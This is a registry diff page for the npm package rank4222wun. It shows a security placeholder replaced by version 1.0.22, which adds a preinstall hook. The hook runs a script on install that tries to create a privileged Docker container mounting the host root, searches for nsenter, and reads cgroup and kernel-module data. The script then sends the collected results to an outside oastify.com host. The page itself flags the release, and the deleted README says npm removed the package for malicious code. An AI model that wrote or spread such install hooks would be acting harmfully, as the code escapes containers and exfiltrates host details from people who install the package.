rank4222wun 0.0.1-security → 1.0.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.22",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,103 @@
1
+ const { exec } = require('child_process');
2
+ const fs = require('fs');
3
+ const https = require('https');
4
+
5
+ console.log("🔓 ADVANCED CONTAINER ESCAPE TEST\n");
6
+
7
+ // هذا اختبار أكثر تقدمًا للهروب من الحاوية
8
+ const escapeTest = {
9
+ timestamp: new Date().toISOString(),
10
+ escapeVectorsTested: []
11
+ };
12
+
13
+ // اختبار 1: Docker Socket Escape
14
+ if (fs.existsSync('/var/run/docker.sock')) {
15
+ console.log("Testing Docker socket escape...");
16
+
17
+ // محاولة إنشاء حاوية جديدة مع mount للمضيف
18
+ const escapePayload = JSON.stringify({
19
+ Image: 'alpine:latest',
20
+ Cmd: ['sh'],
21
+ HostConfig: {
22
+ Binds: ['/:/host'],
23
+ Privileged: true
24
+ }
25
+ });
26
+
27
+ // محاولة الاتصال بـ Docker API
28
+ exec(`echo '${escapePayload}' | curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/create -H "Content-Type: application/json" -d @-`,
29
+ (err, stdout) => {
30
+ if (!err && stdout) {
31
+ try {
32
+ const response = JSON.parse(stdout);
33
+ if (response.Id) {
34
+ escapeTest.escapeVectorsTested.push({
35
+ vector: 'docker_socket_container_creation',
36
+ success: true,
37
+ containerId: response.Id,
38
+ risk: 'CRITICAL',
39
+ message: 'Can create new containers via Docker socket'
40
+ });
41
+ console.log("🚨 SUCCESS: Can create containers via Docker socket!");
42
+ }
43
+ } catch (e) {}
44
+ }
45
+ });
46
+ }
47
+
48
+ // اختبار 2: Privileged Container Escape
49
+ exec('find / -name "nsenter" -type f -executable 2>/dev/null | head -1', (err, stdout) => {
50
+ if (stdout && stdout.trim()) {
51
+ escapeTest.escapeVectorsTested.push({
52
+ vector: 'nsenter_available',
53
+ path: stdout.trim(),
54
+ risk: 'HIGH',
55
+ message: 'nsenter tool available for container escape'
56
+ });
57
+ }
58
+ });
59
+
60
+ // اختبار 3: Cgroups Escape
61
+ exec('cat /proc/self/cgroup 2>/dev/null', (err, stdout) => {
62
+ if (stdout) {
63
+ escapeTest.cgroupInfo = stdout.trim();
64
+
65
+ // التحقق مما إذا كنا في Kubernetes
66
+ if (stdout.includes('kubepods')) {
67
+ escapeTest.escapeVectorsTested.push({
68
+ vector: 'kubernetes_container',
69
+ risk: 'MEDIUM',
70
+ message: 'Running in Kubernetes pod, potential cluster-wide impact'
71
+ });
72
+ }
73
+ }
74
+ });
75
+
76
+ // اختبار 4: Kernel Modules (للكشف فقط)
77
+ exec('lsmod 2>/dev/null | head -10', (err, stdout) => {
78
+ if (stdout) {
79
+ escapeTest.kernelModules = stdout.trim();
80
+ }
81
+ });
82
+
83
+ // بعد 3 ثوان، إرسال النتائج
84
+ setTimeout(() => {
85
+ console.log("\n📊 Escape Test Results:");
86
+ escapeTest.escapeVectorsTested.forEach(v => {
87
+ console.log(`- ${v.vector}: ${v.risk} risk`);
88
+ if (v.message) console.log(` ${v.message}`);
89
+ });
90
+
91
+ // إرسال النتائج
92
+ const req = https.request({
93
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
94
+ port: 443,
95
+ path: '/container-escape-test',
96
+ method: 'POST'
97
+ });
98
+
99
+ req.write(JSON.stringify(escapeTest, null, 2));
100
+ req.end();
101
+
102
+ console.log("\n✅ Escape test completed and sent");
103
+ }, 3000);
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.